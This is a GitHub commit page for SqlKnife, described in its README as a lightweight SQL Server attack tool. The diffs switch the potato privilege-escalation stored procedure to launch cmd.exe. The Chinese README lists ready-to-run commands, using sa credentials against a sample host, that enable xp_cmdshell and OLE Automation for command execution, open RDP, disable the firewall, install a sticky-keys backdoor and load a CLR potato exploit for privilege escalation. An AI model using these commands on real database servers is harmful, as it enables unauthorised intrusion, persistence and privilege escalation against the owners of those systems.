Skip to content

Commit

Permalink
反斜线bug说明更新图片
Browse files Browse the repository at this point in the history
  • Loading branch information
hl0rey committed Aug 3, 2021
2 parents 252ad16 + 022a67a commit 6c0444d
Show file tree
Hide file tree
Showing 16 changed files with 79 additions and 25 deletions.
2 changes: 1 addition & 1 deletion PotatoInSQL/PotatoInSQL.sqlproj
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@
<ModelCollation>1033, CI</ModelCollation>
<DefaultFileStructure>BySchemaAndSchemaType</DefaultFileStructure>
<DeployToDatabase>True</DeployToDatabase>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<TargetLanguage>CS</TargetLanguage>
<AppDesignerFolder>Properties</AppDesignerFolder>
<SqlServerVerification>False</SqlServerVerification>
Expand Down
4 changes: 2 additions & 2 deletions PotatoInSQL/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -53,8 +53,8 @@ public static void OriginMain(string cmd)

string clsId = "4991D34B-80A1-4291-83B6-3328366B9097";
ushort port = 6666;
//string program = @"c:\Windows\System32\cmd.exe";
string program = @"sqlps.exe";
string program = @"c:\Windows\System32\cmd.exe";
//string program = @"sqlps.exe";
string programArgs = null;
ExecutionMethod executionMethod = ExecutionMethod.Auto;
bool showHelp = false;
Expand Down
68 changes: 62 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,11 @@
# bSqlKnife
# SqlKnife

适合在命令行中使用的轻巧的SQL Server数据库攻击工具。


## 参数说明

![](img/Snipaste_2021-08-03_10-43-27.png)

```
<-H host> <-P port> <-u username> <-p password> <-D dbname> <--openrdp> <--shift> <--disfw> <--xpcmd> <--oacreate> <--dbup> <--fix> <--remove> <--3/--4>
```
Expand All @@ -21,7 +22,7 @@

-c 要执行的命令

--openrdp 开启目标远程桌面
--openrdp 开启目标远程桌面并读取当前远程桌面端口号

--shift 创建shfit后门

Expand All @@ -45,14 +46,22 @@

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd --fix

![](img/Snipaste_2021-08-03_10-46-08.png)

![Snipaste_2021-08-03_10-46-29](img/Snipaste_2021-08-03_10-46-29.png)

#### 执行命令

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd -c whoami

![Snipaste_2021-08-03_10-47-04](img/Snipaste_2021-08-03_10-47-04.png)

#### 禁用xp_cmdshell

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd --remove

![Snipaste_2021-08-03_10-47-56](img/Snipaste_2021-08-03_10-47-56.png)


### 使用Ole Automation Procedures执行命令

Expand All @@ -62,27 +71,74 @@ SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd --remove

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --oacreate --fix

![Snipaste_2021-08-03_10-55-46](img/Snipaste_2021-08-03_10-55-46.png)

#### 执行程序

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --oacreate -c calc.exe
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --oacreate -c calc.exe

![Snipaste_2021-08-03_10-55-46](img/Snipaste_2021-08-03_10-55-46.png)

![Snipaste_2021-08-03_10-56-34](img/Snipaste_2021-08-03_10-56-34.png)

### 开RDP,关防火墙加规则(开RDP时自动加),装shift后门

基于注册表操作
权限足够的前提下,基于注册表的操作

#### 开启RDP

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --openrdp

![Snipaste_2021-08-03_11-36-43](img/Snipaste_2021-08-03_11-36-43.png)

![Snipaste_2021-08-03_11-36-57](img/Snipaste_2021-08-03_11-36-57.png)

#### 关防火墙

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --disfw

(可能不好用,可能是因为注册表位置参考windows10的原因)

![Snipaste_2021-08-03_11-42-58](img/Snipaste_2021-08-03_11-42-58.png)

#### 装shift后门

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --shift

![Snipaste_2021-08-03_11-45-54](img/Snipaste_2021-08-03_11-45-54.png)

![Snipaste_2021-08-03_11-29-11](img/Snipaste_2021-08-03_11-29-11.png)

### PotatoInSQL(--dbup)
将土豆提权作为存储过程安装到数据库,然后调用。

#### 安装.net3.5版本的potatoinsql

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --dbup --fix --3

![Snipaste_2021-08-03_11-17-47](img/Snipaste_2021-08-03_11-17-47.png)

![Snipaste_2021-08-03_11-18-02](img/Snipaste_2021-08-03_11-18-02.png)



#### 利用土豆执行命令

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --dbup -c whoami

![Snipaste_2021-08-03_11-28-46](img/Snipaste_2021-08-03_11-28-46.png)

![Snipaste_2021-08-03_11-29-11](img/Snipaste_2021-08-03_11-29-11.png)

### 启用/还原配置功能

![Snipaste_2021-08-03_11-29-35](img/Snipaste_2021-08-03_11-29-35.png)

做完操作之后把配置和CLR程序集清理掉。

--fix参数和--remove参数只涉及--xpcmd、--oacreate、--clrcmd、--clrdexec、--dbup


### 指定不同版本clr的payload
### 指定不同版本clr的payload

--3/--4 如果不加这个参数,默认是.net4版本的payload
25 changes: 12 additions & 13 deletions SqlKnife/MsSqlExploit.cpp

Large diffs are not rendered by default.

Binary file added img/Snipaste_2021-08-03_11-17-47.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/Snipaste_2021-08-03_11-18-02.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/Snipaste_2021-08-03_11-19-41.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/Snipaste_2021-08-03_11-28-46.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/Snipaste_2021-08-03_11-29-11.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/Snipaste_2021-08-03_11-29-35.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/Snipaste_2021-08-03_11-36-43.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/Snipaste_2021-08-03_11-36-57.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/Snipaste_2021-08-03_11-42-58.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/Snipaste_2021-08-03_11-45-54.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/Snipaste_2021-08-03_11-46-53.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
5 changes: 2 additions & 3 deletions sqltool.py

Large diffs are not rendered by default.

0 comments on commit 6c0444d

Please sign in to comment.